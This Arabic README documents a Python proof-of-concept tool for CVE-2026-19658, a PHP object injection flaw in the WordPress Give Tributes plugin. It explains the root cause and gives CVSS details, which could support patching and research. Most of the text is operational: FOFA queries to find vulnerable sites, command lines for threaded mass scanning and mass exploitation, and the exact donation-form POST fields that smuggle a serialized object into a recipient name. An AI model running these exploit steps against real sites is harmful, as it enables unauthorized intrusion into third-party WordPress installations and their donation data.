
مدقق Python 3 ومساعد استغلال لـ CVE-2026-19658، وهي ثغرة حقن كائنات PHP في إضافة WordPress Give Tributes، مع اكتشاف الأهداف عبر FOFA واستغلال نموذج التبرع القديم.
أداة إثبات مفهوم بلغة Python 3 لفحص واستغلال سلسلة التبرعات الخاصة بـ CVE-2026-19658 في إضافة WordPress المسماة Give - Tributes (Liquid Web / GiveWP).
| المنصة | إضافة WordPress (تتطلب نواة GiveWP) |
| المكوّن | Give - Tributes |
| المتأثر | ≤ 2.3.1 |
| تم الإصلاح في | 2.3.1.1+ (حقول eCard متعددة المستلمين بعد التنقية) |
| CVSS | 9.8 حرج |
| المصادقة | غير مصادق عليه (نموذج التبرع القديم) |
| CWE | CWE-502 — إلغاء تسلسل البيانات غير الموثوقة |
| المُعيِّن | Wordfence |
عند تفعيل Allow Multiple Recipients لبطاقات eCards وتعطيل eCard custom message (الافتراضي)، تخزّن الإصدارات المتأثرة بيانات مستلم eCard من $_POST الخام في بيانات التبرع الوصفية (meta). يستخدم التحقق من حقول GiveWP نسخة give_clean() من $_POST (حيث تُفرَّغ السلاسل المتسلسلة هناك)، لكن insert_tribute_data() يقرأ $_POST غير المنقّى، لذا يمكن أن يحتوي first_name / last_name الخاص بالمستلم الثاني على كائن PHP متسلسل.
التأثير: لا توجد سلسلة POP معروفة داخل Give Tributes وحدها. يُلغى تسلسل البيانات الوصفية عند قراءتها (مثل معاينة/إعادة إرسال eCard في لوحة الإدارة). يتطلب تنفيذ التعليمات عن بُعد (RCE) أو تأثيرًا تدميريًا سلسلة أدوات (gadget chain) من إضافة أو قالب آخر مثبّت.
[give_form] / v2)، وليس Visual Form Builder الخاص بـ v3 فقطmanual في بيئة التطوير/الاختبار)pip install -r requirements.txtpip install -r requirements.txt
# هدف واحد — فحص (تدفق الطرفية مفعّل افتراضيًا مع --list)
python poc.py -u https://target.example --mode check
# فحص جماعي
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# هدف واحد — استغلال (الأهداف المصرّح بها فقط)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# استغلال جماعي من مخرجات الفحص
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
أمثلة:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
قائمة المضيفين (نطاق واحد لكل سطر):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
تصدير FOFA CSV:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
استخدم --vuln-list exploited.txt في تشغيلات الاستغلال حتى لا تُستبدل نتائج الفحص في hits.txt.
status في الفحصلا يمكن للفحص عن بُعد رؤية "Allow Multiple Recipients" بشكل موثوق؛ قد تفشل المرشحات في وقت الاستغلال.
first_name الثاني.manual معطّلة في بيئة الإنتاج — جرّب البوابات الظاهرة في النموذج (stripe, paypal, test, …).give validation rejected donation: خيارات tribute/notify، أو المبلغ، أو عدم تطابق البوابة.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
قوائم الفحص المحلية ومخرجات التشغيل (list.txt، fofa*.csv، *.jsonl، hits.txt، …) موجودة في .gitignore ولا ينبغي إيداعها.
لأغراض اختبار الأمان المصرّح به والتعليم فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد البرامج.
| الخيار | الوصف |
|---|
-u, --url | عنوان URL أساسي واحد |
--list | قائمة عناوين URL، أو ملف مضيفين، أو candidates.jsonl |
--mode | check أو exploit |
--form-url | مسار صفحة التبرع أو عنوان URL كامل |
--form-id | معرّف منشور نموذج Give |
--paths | مسارات إضافية للزحف بحثًا عن النماذج |
--payload | كائن متسلسل لـ first_name الخاص بالمستلم الثاني |
--gateway | payment-mode الخاص بـ Give (الافتراضي manual) |
--email | give_email الخاص بالمتبرع |
--flow | سطر واحد لكل هدف في التشغيلات الجماعية (الافتراضي مع --list) |
--no-flow | ملخص التقدم فقط |
--quiet, -q | مخرجات طرفية مختصرة |
--threads, -j | التزامن الجماعي (الافتراضي 12) |
--output | سجل JSONL (الافتراضي cve_2026_19658_results.jsonl) |
--vuln-list | سطور النتائج النصية / المستغلة (الافتراضي hits.txt) |
--candidates-list | بيانات JSONL الوصفية للفحص (الافتراضي candidates.jsonl) |
| الملف | الوضع | المحتوى |
|---|
cve_2026_19658_results.jsonl | كلاهما | JSON كامل لكل هدف |
hits.txt | check | عناوين URL التي تحتوي على exploitable_candidate |
candidates.jsonl | check | best_form، تلميحات الإصدار |
exploited.txt | exploit | url|payment=… عند تأكيد التبرع |
| الحالة | المعنى |
|---|
candidate | إضافة متأثرة + Give + نموذج قديم مع واجهة tributes |
vulnerable_no_form | الإضافة/الإصدار سليم، لم يُعثر على نموذج مناسب في المسارات المزحوفة |
patched | Tributes > 2.3.1 أو ≥ 2.3.1.1 (عند قراءة الإصدار) |
give_only | Give بدون Tributes قابلة للكشف |
no_plugin | لم يتم كشف Tributes |